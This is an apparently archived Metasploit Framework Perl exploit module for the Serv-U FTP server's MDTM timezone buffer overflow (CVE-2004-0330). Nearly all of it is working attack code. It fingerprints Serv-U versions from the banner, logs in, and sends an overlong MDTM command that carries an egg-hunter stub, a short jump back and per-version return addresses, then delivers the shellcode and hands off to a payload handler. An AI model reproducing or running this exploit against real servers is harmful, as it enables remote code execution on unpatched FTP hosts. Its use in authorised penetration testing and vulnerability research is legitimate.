home *** CD-ROM | disk | FTP | other *** search
-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::servu_mdtm_overflow;
-
- use base "Msf::Exploit";
- use strict;
- use Pex::Searcher;
- use Pex::x86;
- use Pex::Text;
-
- my $advanced =
- {
- 'SEHOffset' => ['47', 'Offset from beginning of timezone to SEH'],
- 'ForceDoubling' => ['2', '1 to force \xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect'],
- };
-
- my $info =
- {
- 'Name' => 'Serv-U FTPD MDTM Overflow',
- 'Version' => '$Revision: 1.38 $',
- 'Authors' =>
- [
- 'spoonm <ninjatools [at] hush.com>',
- 'Basic vector from: Servu2.c lion <lion [at] cnhonker.net>',
- ],
-
- 'Description' => Pex::Text::Freeform(qq{
- This is an exploit for the Serv-U's MDTM command timezone overflow.
- It has been heavily tested against versions
- 4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with
- success against nt4/2k/xp/2k3. I have also had success against version
- 3, but only tested 1 version/os. The bug is in all versions
- prior to 5.0.0.4, but this exploit will not work against versions not
- listed above. You only get one shot, but it should be OS/SP independent.
-
- This exploit is a single hit, the service dies after the shellcode
- finishes execution.
- }),
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 21],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- 'USER' => [1, 'DATA', 'Username', 'ftp'],
- 'PASS' => [1, 'DATA', 'Password', 'ftp'],
- },
-
- 'Payload' =>
- {
- 'Space' => 1000,
- 'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
- 'MinNops' => 0,
- 'MaxNops' => 0,
- },
-
- 'Nop' =>
- {
- 'ModStack' => 0, # We don't use nops, but if we did...
- },
-
- 'Refs' =>
- [
- ['OSVDB', '4073'],
- ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
- ['URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],
- ['URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],
- ['MIL', '59'],
- ['BID', '9751'],
- ['CVE', '2004-0330'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' =>
- [
- ['Serv-U Uber-Leet Universal ServUDaemon.exe', 0x00401877],
- ['Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe', 0x0040164d],
- ['Serv-U 5.0.0.0 ServUDaemon.exe', 0x0040167e],
- ],
-
- 'Keys' => ['servu'],
-
- 'DisclosureDate' => 'Feb 26 2004',
- };
-
- # From 5.0.0.4 Change Log
- # "* Fixed bug in MDTM command that potentially caused the daemon to crash."
- #
- # Nice way to play it down boys
- #
- # Connected to ftp2.rhinosoft.com.
- # 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
- #
- # Heh :)
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $targetHost = $self->GetVar('RHOST');
- my $targetPort = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $targetHost,
- 'PeerPort' => $targetPort,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintError;
- return $self->CheckCode('Connect');
- }
-
- my $r;
-
- $r = $self->response($s);
- goto NORESP if(!$r);
- if($r =~ /Serv-U FTP Server v4\.1/) {
- $self->PrintLine('[*] Found version 4.1.0.3, exploitable.');
- return $self->CheckCode('Appears');
- }
- elsif($r =~ /Serv-U FTP Server v5\.0/) {
- $self->PrintLine('[*] Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
- return $self->CheckCode('Appears');
- }
- elsif($r =~ /Serv-U FTP Server v4\.0/) {
- $self->PrintLine('[*] Found version 4.0.0.4 or 4.1.0.0, additional check.');
- }
- elsif($r =~ /Serv-U FTP Server/) {
- $self->PrintLine('[*] Looks like Serv-U, but not a version I know.');
- return $self->CheckCode('Appears');
- }
- else {
- $self->PrintLine('[*] Banner doesn\'t look like Serv-U, possible it still is.');
- return $self->CheckCode('Safe');
- }
-
- $s->Send("USER " . $self->GetVar('USER') . "\r\n");
- goto NORESP if(!$self->response($s));
-
- $s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
- goto NORESP if(!$self->response($s));
-
- $s->Send("P\@SW\r\n");
- $r = $self->response($s);
- goto NORESP if(!$r);
-
- if($r =~ /500/) {
- $self->PrintLine('[*] Found version 4.0.0.4, exploitable');
- return $self->CheckCode('Appears');
- }
- else {
- $self->PrintLine('[*] Found version 4.1.0.0, exploitable');
- return $self->CheckCode('Appears');
- }
-
- # quit is for losers, exiting uncleanly rocks.
- return $self->CheckCode('Safe');
-
- # dirty
- NORESP:
- $self->PrintLine('[*] No response from FTP server');
- return $self->CheckCode('Generic');
- }
-
- sub Exploit {
- my $self = shift;
- my $targetHost = $self->GetVar('RHOST');
- my $targetPort = $self->GetVar('RPORT');
- my $targetIndex = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $sehOffset = $self->GetLocal('SEHOffset');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $targetHost,
- 'PeerPort' => $targetPort,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('Error creating socket: '.$s->GetError);
- return;
- }
-
- my $r;
-
- $r = $self->response($s);
- goto NORESP if(!$r);
-
- # $targetIndex = 1 if(!$targetIndex && $r =~ /v4\.1/);
- # $targetIndex = 1 if(!$targetIndex && $r =~ /v5\.0/);
-
- $s->Send("USER " . $self->GetVar('USER') . "\r\n");
- goto NORESP if(!$self->response($s));
-
- $s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
- goto NORESP if(!$self->response($s));
-
- # Autodetect no more
-
- # if(!$targetIndex) {
- # $s->Send("P\@SW\r\n");
- # $r = $self->response($s);
- # goto NORESP if(!$r);
- #
- # $targetIndex = $r =~ /500/ ? 1 : 1;
- # }
-
- # Should have paid more attention to skylined's exploit, only after figuring
- # out how my payloads were getting transformed did I remember seeing \xff
- # doubling in his CHMOD exploit, arg!
- if($self->GetLocal('ForceDoubling') == 1) {
- $self->PrintLine('[*] ForceDoubling enabled, enabling \xff doubling.');
- $shellcode = xffDoubler($shellcode);
- }
- elsif($self->GetLocal('ForceDoubling') == 0) {
- $self->PrintLine('[*] ForceDoubling disabled, disabling \xff doubling.');
- }
- else {
- $s->Send("P\@SW\r\n");
- $r = $self->response($s);
- goto NORESP if(!$r);
- if($r =~ /^500/) {
- $self->PrintLine('[*] Serv-U 4.0.0.4 detected, enabling \xff doubling.');
- $shellcode = xffDoubler($shellcode);
- }
- }
-
- my $target = $self->Targets->[$targetIndex];
- $self->PrintLine('[*] Trying to exploit target ' . $target->[0]);
-
- my $searcher = Pex::Searcher->new("\x34\x33\x32\x31");
-
- # Searcher expects address to start scanning at in edi
- # Since we got here via a pop pop ret, we can just the address of the jmp
- # off the stack, add esp, BYTE -4 ; pop edi
- my $searchCode = "\x83\xc4\xfc\x5f" . $searcher->Searcher . 'BB';
-
- if($sehOffset < length($searchCode)) {
- $self->PrintLine('[*] Not enough room for search code.');
- return;
- }
-
- my $jmpBack = Pex::x86::JmpShort('$+' . (-1 * length($searchCode))) . 'BB';
-
- # $jmpBack = "\xcc\xcc\xcc\xcc";
-
- my $command = 'MDTM 20031111111111+' . ('A' x ($sehOffset - length($searchCode)));
- $command .= $searchCode;
- $command .= $jmpBack . pack('V', $target->[1]);
- $command .= ' /' . $searcher->StartTag . $shellcode . $searcher->EndTag . "\r\n";
-
- $s->Send($command);
-
- $r = $self->response($s, 2);
- if($r) {
- $self->PrintLine('[*] Received data back from server, not a good sign, maybe newer than 5.0.0.0?');
- }
-
- $self->Handler($s);
- return;
-
- # dirty
- NORESP:
- $self->PrintLine('[*] No response from FTP server');
- return;
- }
-
- sub response {
- my $self = shift;
- my $sock = shift;
- my $r;
- if(@_) {
- my $timeout = shift;
- $r = $sock->Recv(-1, $timeout);
- }
- else {
- $r = $sock->Recv(-1);
- }
- chomp($r);
- $r =~ s/\r//g;
- $self->PrintLine("[*] REMOTE> $r") if($r);
- return($r);
- }
-
- # Serv-U is dumb. Doubling for 4.0.0.4
- sub xffDoubler {
- my $payload = shift;
- $payload =~ s/\xff/\xff\xff/g;
- return($payload);
- }
-
-